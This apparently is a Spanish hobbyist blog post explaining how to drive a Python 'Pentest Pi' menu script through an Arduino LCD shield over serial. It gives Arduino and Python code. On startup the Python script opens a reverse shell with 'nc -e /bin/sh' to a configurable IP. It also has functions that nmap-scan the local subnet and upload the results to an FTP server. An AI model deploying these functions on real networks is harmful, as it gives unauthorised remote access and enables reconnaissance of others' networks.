Controlar script de python desde Arduino LCD Shield+Arduino UNO

Hoy dejo un poco de lado los tutoriales sobre bash para traeros un pequeño DIY que surgió a raíz de la caja de The Hackers Garage que gané durante el CTF de la gente de Follow The White Rabbit.

En esta caja uno de los proyectos que incluía era la posibilidad de conectar un shield de Arduino, que traía una pantalla 16×2 LCD y botones, a una Orange pi y controlar la ejecución de un script de python utilizando la LCD y sus botones.

La mayor diferencia entre sus instrucciones y lo que hoy os traigo es que yo he acoplado el shield a un Arduino UNO ¿Qué significa esto? Pues que me olvido de tener que usar los GPIO de la Orange Pi y en cambio he conseguido una pantalla que se comunica a través del USB/Serial con cualquier dispositivo que lo soporte.

Antes de comenzar recordaros que no soy experto ni en Arduino ni en Python con lo cual el código que os presento a continuación es muy, muy mejorable; pero funciona jeje

Comencemos con el código del Arduino:

#include <LiquidCrystal.h>

LiquidCrystal lcd(8, 9, 4, 5, 6, 7);           // Seleccionamos los pines que utiliza la pantalla LCD

//Definimos algunos valores que usaran el panel y los botones
int adc_key_in  = 0;

#define btnRIGHT  0
#define btnUP     1
#define btnDOWN   2
#define btnLEFT   3
#define btnSELECT 4
#define btnNONE   5

//Estas variables nos ayudaran a controlar el input de los botones
int button_count=0;
int button_last=0;


int read_LCD_buttons(){               // Funcion para leer el input de los botones
    adc_key_in = analogRead(0);       // Leemos el valor del sensor

    //Estos valores son aproximados de los resultados que me envia el sensor.
    //No deberiais necesitar cambiarlos.
    if (adc_key_in > 1000) return btnNONE; 

    if (adc_key_in < 50)   return btnRIGHT;  
    if (adc_key_in < 250)  return btnUP; 
    if (adc_key_in < 450)  return btnDOWN; 
    if (adc_key_in < 650)  return btnLEFT; 
    if (adc_key_in < 850)  return btnSELECT;  

    return btnNONE;                // Cuando nos se cumple ninguno, enviamos este
}

void setup(){
   lcd.begin(16, 2);               // Inicializamos la pantalla LCD
   Serial.begin(9600);             // Inicializamos el puerto serie
   Serial.setTimeout(100);         // Reducimos el timeout del puerto serie para reducir el lag, quizás querais ajustarlo
}
 
void loop(){
  // En caso de que se haya recibido algo por el puerto serie
  if (Serial.available()) {          
    // Leemos el contenido en el buffer a un String, si no hemos modificado el timeout esto tarda 2.5 segundos                               
    String buff = Serial.readString();                              
    if (buff == "clear_lcd") {
      // Si recibimos la orden "clear_lcd" borramos la pantalla
      lcd.clear();                                                  
    } else {
      // Localizamos el separador ","
      int commaIndex = buff.indexOf(',');  
      // Extraemos el mensaje a imprimir                         
      String message = buff.substring(0,commaIndex);    
      // Extraemos la linea en que queremos escribir el mensaje             
      int lcd_line = buff.substring(commaIndex+1).toInt();   
      // Movemos el cursos a la linea que deseamos       
      lcd.setCursor(0,lcd_line);   
      // Imprimimos el mensaje                                 
      lcd.print(message);                                           
    }
  }
  // Llamamos a la funcion para ver si se ha pulsado algun boton
  int button_pressed=read_LCD_buttons();        
  // En mi caso una pulsacion del boton enviaba aproximadamente 1000 el mismo resultado
  // para contabilizar una pulsacion y no 1000 utilizamos ciertas variables para controlarlo
  // En caso de que el boton sea igual que el anterior, se haya pulsado 1200 veces y no sea 5/Ninguno                                        
  if (button_pressed == button_last && button_count == 1200 && button_pressed != 5){   
    // Enviamos el digito correspondiente al boton pulsado
    Serial.println(button_pressed);
    // Esperamos a que se limpie el buffer
    Serial.flush(); 
    // Reinicializamos el contador de pulsaciones
    button_count = 0;
  } else if (button_pressed == button_last && button_pressed != 5){
    // Si el boton es el mismo que se pulso anteriormente y no es 5/Ninguno, contamos una pulsacion
    button_count+=1;
  } else {
    // Si no se cumple nada de lo anterior reiniciamos el contador
    button_count = 0;
  }
  // Guardamos cual fue el ultimo boton pulsado para el siguiente ciclo
  button_last=button_pressed;
}

He intentado comentarlo lo mejor posible para que se entienda pero cualquier duda no dudéis en dejarme un comentario.

Básicamente este script se divide en dos partes: input y output.

En la parte de input, que correspondería a la LCD, el Arduino esta escuchando en el puerto serial por un String con el formato “mensaje,linea”, o bien, el comando “clear_lcd” para limpiar la pantalla.

Para el output el Arduino lee en cada ciclo el sensor analógico al que está enchufada la botonera y utiliza unos thresholds (que pueden variar en vuestro caso) para identificar que botón se ha pulsado. El mayor problema que me encontré en esta parte fue que una pulsación no se correspondía a un cambio único en el sensor, sino que varios ciclos ocurrían mientras yo pulsaba el botón haciendo que pareciese que estaba machacandolo en lugar de hacer una única pulsación, en mi caso el threshold con el que quedé más contento fue 1200, pero quizás queráis ajustarlo a vuestro gusto pero, recordad, a menos número, mayor sensibilidad.

Ahora pasemos al Python. La gente de The Hackers Garage nos da un script que utiliza los GPIO de la Orange Pi para comunicarse con la LCD y los botones, pero nosotros ya no necesitamos esto, así que toca modificar un poco el código:

#!/usr/bin/python
import time
from socket import socket, SOCK_STREAM, SOCK_DGRAM, AF_INET
import string
import re
import os
import sys
import subprocess 
import serial
import urllib #Used to display the Public IP address.
from subprocess import PIPE
import ftplib #Used to upload Nmap scan results to FTP server.
from datetime import datetime # Used the genreate the filename used in the packet capture dump


#Change thease values so that the dumped file is uploaded to your FTP server.
ftp_server = ""
ftp_username = ""
ftp_password = ""
#Reverse shell IP
connectingClientIP = "127.0.0.1"

# Button mapping
#button_reset  = connector.gpio1p40
#button_analog  = connector.gpio1p38

# Define some device constants
LCD_WIDTH = 16    # Maximum characters per line
LCD_CHR = True
LCD_CMD = False

LCD_LINE_1 = 0 # LCD RAM address for the 1st line
LCD_LINE_2 = 1 # LCD RAM address for the 2nd line

# Timing constants
E_PULSE = 0.0005
#E_DELAY = 0.0005
E_DELAY = 0.5
output = "NO"

ser = serial.Serial('/dev/ttyACM0', 9600)
global p
def main():
# Main program block
  analog_pressed=5;
  socketMain = socket(AF_INET,SOCK_STREAM)
  lcd_init(ser)

  #Contains all modules which can be run on the device. The key is the displayed name on the LCD and the value is the function name
  modules = {'SSHTunnel status': 'reverseSSH',
             'NMAP Scan&Upload': 'nmapScanUpload',
             'ConnectivityTest': 'connectivityTest'}
  displayText = modules.keys()
  # Checks if the script has been run as root.
  if os.getuid() == 0:
    lcd_string("Pentest Pi",LCD_LINE_1)
    lcd_string("Select an option",LCD_LINE_2)
  else:
    lcd_string("Run the script",LCD_LINE_1)
    lcd_string("with root",LCD_LINE_2)
  try:
    cmd = "nc -e /bin/sh " + connectingClientIP + " 22"
    global p
    p = subprocess.Popen(cmd, shell=True, stdout = subprocess.PIPE)
    print "Reverse shell connecting.."
  except OSError as e:
    print >>sys.stderr, "Execution failed:", e

  while True:    
    value_out = 0
    menuOption = 0
    analog_pressed = read_button(ser)

    if (analog_pressed == 4):
        time.sleep(0.5)
        lcd_clear()
        lcd_string(displayText[menuOption], LCD_LINE_1)
        lcd_string("<previous  next>", LCD_LINE_2)
        while True:
            analog_pressed = read_button(ser)
            #reset_pressed = gpio.input(button_reset
            if (analog_pressed == 0):
                menuOption = menuOption + 1
                if menuOption > len(modules) - 1:
                    menuOption = 0
                lcd_clear()
                lcd_string(displayText[menuOption], LCD_LINE_1)
                lcd_string("<previous  next>", LCD_LINE_2)
                time.sleep(0.5)
            if (analog_pressed == 3):
                menuOption = menuOption - 1
                if menuOption < 0:
                    menuOption = len(modules) - 1
                lcd_clear()
                lcd_string(displayText[menuOption], LCD_LINE_1)
                lcd_string("<previous  next>", LCD_LINE_2)
                time.sleep(0.5)
            if (analog_pressed == 4):
                globals().get(modules[displayText[menuOption]])()
                time.sleep(0.5)
                break
def read_button(ser):
  if ser.in_waiting:
    button=ser.readline()
    return int(button)

def lcd_init(ser):
  # Initialise display
  ser.write("clear_lcd")
  time.sleep(2)

def lcd_clear():
  ser.write("clear_lcd")
  time.sleep(E_DELAY)

def getPublicIP():
    publicIPUrl = urllib.urlopen("http://ipinfo.io/ip")
    publicIPre = re.findall( r'[0-9]+(?:\.[0-9]+){3}', publicIPUrl.read())
    return publicIPre[0]

def getPrivateIP():
    s = socket(AF_INET, SOCK_DGRAM)
    s.connect(('google.com', 0))
    privateIp = s.getsockname()
    return privateIp[0]

def reverseSSH():
    global p
    p.poll()
    print 'Reverse Shell Status'
    if p.returncode == None:
      lcd_string("Shell Started",LCD_LINE_1)
      lcd_string(connectingClientIP,LCD_LINE_2)
    else:
      lcd_string("Shell Failed",LCD_LINE_1)
      lcd_string(connectingClientIP,LCD_LINE_2)  
    functionBreak()
 
def nmapScanUpload():
    print 'Nmap Scan & Upload'
    ipToScan = getPrivateIP()
    #Generates the ip address that can be fed into the nmap command. This simple replaces the 4th octet with a 0 and appends a /24 to scan the class C subnet.
    ipToScan = ipToScan[:string.rfind(ipToScan, '.') + 1] + '0/24'
    index = string.rfind(ipToScan, '.')
    print index
    print ipToScan
    #Starts the bridge interface and sets the display.
    nmapScan = subprocess.Popen('nmap ' + ipToScan + ' -oN nmapoutput.txt', shell=True, stderr=PIPE)
    lcd_clear()
    lcd_string("Running",LCD_LINE_1)
    lcd_string("Nmap Scan",LCD_LINE_2)
    error = nmapScan.communicate()
    errorCheck(error, 'NMAP Failed', 'Scan Complete')
    lcd_clear()
    lcd_string("Scan",LCD_LINE_1)
    lcd_string("Complete",LCD_LINE_2)
    time.sleep(1)
    lcd_clear()
    lcd_string("Uploading",LCD_LINE_1)
    lcd_string("File",LCD_LINE_2)
    #Starts FTP session
    ftpSession = ftplib.FTP(ftp_server, ftp_username, ftp_password)
    #ftpSession.cwd('nmap')
    #Opens file to be uploaded
    file = open('nmapoutput.txt', 'rb')
    #Uploads the File
    ftpSession.storbinary('STOR nmapoutput.txt', file)
    file.close()
    ftpSession.quit()
    lcd_clear()
    lcd_string("Upload",LCD_LINE_1)
    lcd_string("Successful",LCD_LINE_2)
    time.sleep(3)
    functionBreak()

def connectivityTest():
    print 'Connectivity Test'
    #Pings google.com
    thePing = subprocess.Popen('ping -c 5 google.com', shell=True, stdout=PIPE, stderr=PIPE)
    lcd_clear()
    lcd_string("Testing",LCD_LINE_1)
    lcd_string("Connectivity",LCD_LINE_2)
    pingOut, pingErr = thePing.communicate()
    #If the ping fails ping 8.8.8.8
    lcd_clear()
    if len(pingErr) > 0:

        thePing = subprocess.Popen('ping -c 5 8.8.8.8', shell=True, stdout=PIPE, stderr=PIPE)
        pingOut, pingErr = thePing.communicate()
        print 1
        #If pinging 8.8.8.8 fails display there is no internet connection
        if len(pingErr) > 0:
            lcd_string("No Internet",LCD_LINE_1)
            lcd_string("Connection",LCD_LINE_2)
            print 2
        #If pinging 8.8.8.8 succeeds, display there is no DHCP service available for the SlyPi to use.
        else:
            lcd_string("No DHCP",LCD_LINE_1)
            lcd_string(" Available",LCD_LINE_2)
            print 3
        functionBreak()
    else:
        privateIP = getPrivateIP()
        publicIP = getPublicIP()
        print privateIP
        print publicIP
        #Displays the public and private IP addresses on the LED screen.
        lcd_string(privateIP,LCD_LINE_1) 
        lcd_string(publicIP,LCD_LINE_2)
        time.sleep(3)
        functionBreak()

def functionBreak():
    while read_button(ser):
        os.execl('/home/kalrong/thg.py', '')

def errorCheck(error, failedMessage, succeedMessage):
    lcd_clear()
    if 'brctl: not found' in error:
        lcd_string("Failed",LCD_LINE_1)
        lcd_string("Install brctl",LCD_LINE_2)        
    elif len(error[1]) == 0:
        lcd_string(succeedMessage,LCD_LINE_1)
        time.sleep(3)
    elif len(error[1]) > 0:
        lcd_string(failedMessage,LCD_LINE_1)
        time.sleep(2)
    error = 0

def lcd_string(message,line):
  # Send string to display

  message = message.ljust(LCD_WIDTH," ")
  ser.write(bytes(message+","+str(line)))
  time.sleep(E_DELAY)
if __name__ == '__main__':

  try:
    main()
  except KeyboardInterrupt:
    pass
  finally:
    lcd_clear()
    lcd_string("Goodbye!",LCD_LINE_1)
    ser.close()

Si tenéis la misma caja quizás os hayáis encontrado con el mismo problema que yo, y es que las funciones de connectivityTest y reverseSSH no funcionaban como se esperaba, en el código de arriba he solucionado dichos problemas.

Como podéis ver en el código para la comunicación con el Arduino utilizamos la librería Serial de python (pip install pyserial) y utilizamos las funciones lcd_string, lcd_init, lcd_clear y read_button para interactuar con el mismo.

Para evitar modificar demasiado el código y que se pudieran hacer comparaciones he reutilizado lo máximo el código que se nos da, como por ejemplo las constantes LCD_LINE que especifican la linea de la pantalla donde deseamos imprimir. Por pura estética también he añadido un mensaje de previous/next en el menú.

Una vez hayamos cargado el código en nuestro Arduino debemos editar el código para especificarle el puerto serial donde está nuestro Arduino en la variable “ser”. Si todo ha ido bien ahora podremos ejecutar el script y veremos como se van mostrando mensajes en nuestra LCD.

Para acceder al menú pulsaremos el botón Select y luego navegaremos con los botones de derecha e izquierda por el menú y seleccionamos nuevamente con Select.

¿Problemas? Principalmente la latencia que se genera en la comunicación por el puerto serie, como veis no he implementado ningún tipo de ACK por ninguna de las dos partes así que se utilizan sleeps en el código python para controlar esta latencia. En mi caso a veces necesito reiniciar el Arduino ya que se “laggea” y no muestra los mensajes correctamente.

Otra vez insistir que esto es un simple POC y el código se puede mejorar muchísimo jeje

Un par de fotos de la LCD funcionando:

La primera opción del menú:

Resultado del check de la reverse shell:

Mensaje de inicio del script:

Espero os haya gustado y cualquier duda o pregunta dejadme un comentario y contestaré en cuanto pueda.

Saludos y, como siempre, gracias por vuestra visita!

Mención especial a Javi del grupo de Telegram de los conejos que me “instigó” de forma indirecta a realizar este proyecto jeje

Esta entrada fue publicada en arduino, DIY, python. Guarda el enlace permanente.

Deja un comentario